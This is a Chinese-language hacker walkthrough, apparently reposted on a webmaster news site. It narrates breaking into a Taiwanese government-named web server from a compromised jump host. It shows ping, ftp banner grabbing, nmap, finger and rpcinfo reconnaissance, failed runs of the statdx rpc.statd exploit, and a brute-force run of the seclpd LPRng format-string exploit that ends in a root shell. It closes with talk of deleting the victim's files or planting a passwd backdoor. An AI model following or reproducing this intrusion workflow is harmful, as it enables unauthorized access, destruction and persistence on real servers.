假設是:www.fbi.gov.tw。^__^
先讓俺看看是不是連得上:
C:\ping www.fbi.gov.tw Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data: Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 Ping statistics for 202.106.184.200: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 511ms, Maximum = 651ms, Average = 580ms 嘻嘻—不但連得上,速度還不錯…… 先telnet看看banner: C:\>telnet www.fbi.gov.tw 遺失對主機的連接。 哈哈……看來把telnet服務給shut掉了!再試試ftp C:\>ftp www.fbi.gov.tw Connected to www.fbi.gov.tw. 220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. User (www.fbi.gov.tw:(none)): 呵~~wu-2.6.1看來有點眉目了。這臺機器像是大名鼎鼎的…………對!RedHat7.0!沒錯就是她了!首先必須確認一下,連上俺的跳板: C:\>telnet xxx.xxx.xxx.xxx Red Hat Linux release 7.0 (Guinness) Kernel 2.2.16-22smp on an i686 login: fetdog Password: bash-2.04$ 呵呵~~這是我在臺灣的一臺跳板。RH7的哦!等下我就會告訴你們拿這些肉雞辦法……拿上nmap掃描器,看看其中的奧妙~~~ bash-2.04$nmap -sT -O www.fbi.gov.tw Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) WARNING! The following files exist and are readable: /usr/local/sha -services and ./nmap-services. I am choosing /usr/local/share/nmap/ s for security reasons. set NMAPDIR=. to give priority to files in irectory Interesting ports on (www.fbi.gov.tw): (The 1520 ports scanned but not shown below are in state: closed) Port State Service 25/tcp open smtp 79/tcp open finger 80/tcp open http 111/tcp open sunrpc 113/tcp open auth 443/tcp open https 513/tcp open login 514/tcp open shell 515/tcp open printer 587/tcp open submission 1024/tcp open kdm TCP Sequence Prediction: Class=random positive increments Difficulty=3247917 (Good luck!) Remote operating system guess: Linux 2.1.122 - 2.2.16 Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds 恰恰!!打開的端口還挺多的嘛!不錯……不錯……。79/tcp finger?呵呵~先看看這個,不過linux沒有finger用戶列表這個漏洞,不管它俺先看看有沒有倒霉鬼。 bash-2.04$finger @www.fbi.gov.tw [www.fbi.gov.tw] No one logged on. sh*t!怎么會沒人!開門!給我開門!:(……再看看111/tcp sunrpc。嘿嘿……近來rpc漏洞風行,不知道RH7這個東東會不會有?管它呢,先看看再說! bash-2.04$rpcinfo -p www.fbi.gov.tw program vers proto port service 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100021 1 udp 1024 nlockmgr 100021 3 udp 1024 nlockmgr 100024 1 udp 1025 status 100024 1 tcp 1024 status 看來有rpc.statd服務。等俺來看看能不能遠程溢出拿個rootshell。哈哈!這個rpc.statd遠程溢出是我在hack.co.za找到的。等俺先來看看幫助。嘻嘻~~ bash-2.04$./statdx -h statdx by ron1n Usage: stat [-t] [-p port] [-a addr] [-l len] [-o offset] [-w num] [-s secs] [-d type] -t attack a tcp dispatcher [udp] -p rpc.statd serves requests on [query] -a the stack address of the buffer is -l the length of the buffer is [1024] -o the offset to return to is [600] -w the number of dwords to wipe is [9] -s set timeout in seconds to [5] -d use a hardcoded Available types: 0 Redhat 6.2 (nfs-utils-0.1.6-2) 1 Redhat 6.1 (knfsd-1.4.7-7) 2 Redhat 6.0 (knfsd-1.2.2-4) 看來并不支持RH7。怎么辦??讓俺把0-2全部試試看再說!start…… bash-2.04$stat -d 0 www.fbi.gov.tw buffer: 0xbffff314 length: 999 ( str/ nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 哈哈受到挫折,再試…… bash-2.04$stat -d 1 www.fbi.gov.tw buffer: 0xbffff314 length: 999 ( str/ nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 一樣!繼續…… bash-2.04$stat -d 1 www.fbi.gov.tw buffer: 0xbffff314 length: 999 ( str/ nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 我烤!!烤烤烤!rpc.statd行不通啊!讓我想想看……RH7應該有個遠程溢出……好像是lp服務造成的。讓俺去找找看。哈哈~~找到了……“seclpd.c”應該是這個東東了。 看來一定要來個brute了!繼續……繼續…… bash-2.04$./seclpd www.fbi.gov.tw brute -t 0 Security.is remote exploit for LPRng/lpd by DiGiT Exploit information Victim: www.fbi.gov.tw Type: 0 - RedHat 7.0 - Guinesss Eip address: 0xbffff3ec Shellcode address: 0xbffff7f2 Position: 300 Alignment: 2 Offset 0 Attacking www.fbi.gov.tw with our format string Brute force man, relax and enjoy the ride ;> 哈哈~~brute暴力破解。看你出不出shell!現在要等上一會兒……去泡杯coffee慢慢來。(什么!沒coffee?tea!這個也行!)…………過了大約一杯coffee的時間。也就是5-8分鐘左右,就會有結果了。(什么!什么!5-8分鐘你喝了5杯!我倒~~~)……出來了。哈哈~~ - [ ] shell located on www.fbi.gov.tw - [ ] Enter Commands at will Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown uid=0(root) gid=7(lp) Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦!可以為所欲為了~~把它的東西全部刪了~~哈哈……太過火了~~還是在passwd中加個后門算了~~至于怎么加,這就不在本文的范圍內了……^___^ |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信